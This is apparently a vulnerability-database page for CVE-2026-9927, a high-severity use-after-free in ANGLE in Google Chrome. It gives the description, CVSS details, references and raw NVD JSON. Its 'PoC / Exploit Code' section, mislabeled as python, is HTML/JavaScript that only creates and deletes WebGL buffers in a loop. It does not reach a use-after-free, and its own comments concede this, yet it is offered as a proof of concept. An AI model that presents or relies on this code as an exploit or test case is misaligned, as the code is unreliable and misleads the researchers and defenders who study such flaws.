CVE-2026-9927

Description

Use after free in ANGLE in Google Chrome prior to 148.0.7778.216 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: High)

CVSS Details

CVSS Score

8.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Google Chrome < 148.0.7778.216

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!--
PoC for CVE-2026-9927 (Conceptual)
This script attempts to trigger a Use-After-Free in ANGLE via WebGL buffer manipulation.
-->
<!DOCTYPE html>
<html>
<head><title>CVE-2026-9927 PoC</title></head>
<body>
<canvas id="glCanvas"></canvas>
<script>
    const canvas = document.getElementById('glCanvas');
    // Attempt to get a WebGL context from the canvas element
    const gl = canvas.getContext('webgl');

    if (gl) {
        console.log("WebGL context initialized.");
        
        // Loop to simulate buffer operations that may trigger the UAF
        for (let i = 0; i < 5000; i++) {
            // Create a buffer object
            let buffer = gl.createBuffer();
            
            // Bind the buffer to target
            gl.bindBuffer(gl.ARRAY_BUFFER, buffer);
            
            // Delete the buffer to free memory
            gl.deleteBuffer(buffer);
            
            // In a vulnerable version, accessing the buffer after deletion
            // or specific timing patterns could lead to a UAF condition.
            // Real exploitation requires precise memory grooming.
        }
        
        alert("PoC execution completed. If browser crashes, UAF might be triggered.");
    } else {
        alert("WebGL is not supported in this browser.");
    }
</script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-9927
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-9927
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-9927/
[4] VulDB https://vuldb.com/cve/CVE-2026-9927
[5] https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_0877304591.html
[6] https://issues.chromium.org/issues/500540958

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-9927", "sourceIdentifier": "[email protected]", "published": "2026-05-28T23:16:50.800", "lastModified": "2026-05-29T12:16:28.427", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Use after free in ANGLE in Google Chrome prior to 148.0.7778.216 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: High)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-416"}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_0877304591.html", "source": "[email protected]"}, {"url": "https://issues.chromium.org/issues/500540958", "source": "[email protected]"}]}}